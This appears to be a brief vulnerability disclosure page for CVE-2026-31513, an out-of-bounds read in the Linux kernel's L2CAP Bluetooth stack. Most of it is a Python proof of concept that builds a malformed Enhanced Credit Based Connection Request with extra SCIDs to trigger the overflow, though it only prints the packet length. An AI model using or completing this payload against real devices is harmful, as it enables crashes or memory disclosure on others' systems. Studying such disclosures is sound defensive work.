CVE-2026-31513: Linux内核L2CAP栈越界读取漏洞

import socket import struct # Conceptual PoC for CVE-2026-31513 # Demonstrates the structure of a malformed L2CAP packet def create_malformed_ecred_req(): # L2CAP Command Code for Enhanced Credit Based Connection Request L2CAP_ECONN_REQ = 0x17 # Signal Identifier (arbitrary) ident = 1 # Payload Construction # SPSM (2 bytes) spsm = 0x0001 # SCIDs: The vulnerability expects > 5 SCIDs (10 bytes) to overflow the # expected buffer size (5 SCIDs = 10 bytes, plus header = 12 bytes total). # We send 6 SCIDs here (12 bytes). scids = struct.pack("<HHHHHH", 0x0040, 0x0041, 0x0042, 0x0043, 0x0044, 0x0045) # MTU, MPS, Credits (optional/standard) mtu = 0x0200 mps = 0x0200 credits = 0x01 # Combine payload payload = struct.pack("<H", spsm) + scids + struct.pack("<HHH", mtu, mps, credits) # Calculate total length length = len(payload) # Construct L2CAP Signaling Command header # Code (1), Identifier (1), Length (2) header = struct.pack("<BBH", L2CAP_ECONN_REQ, ident, length) return header + payload # Note: Sending this packet requires a raw Bluetooth socket and specific hardware privileges. packet = create_malformed_ecred_req() print(f"Generated malformed packet length: {len(packet)} bytes")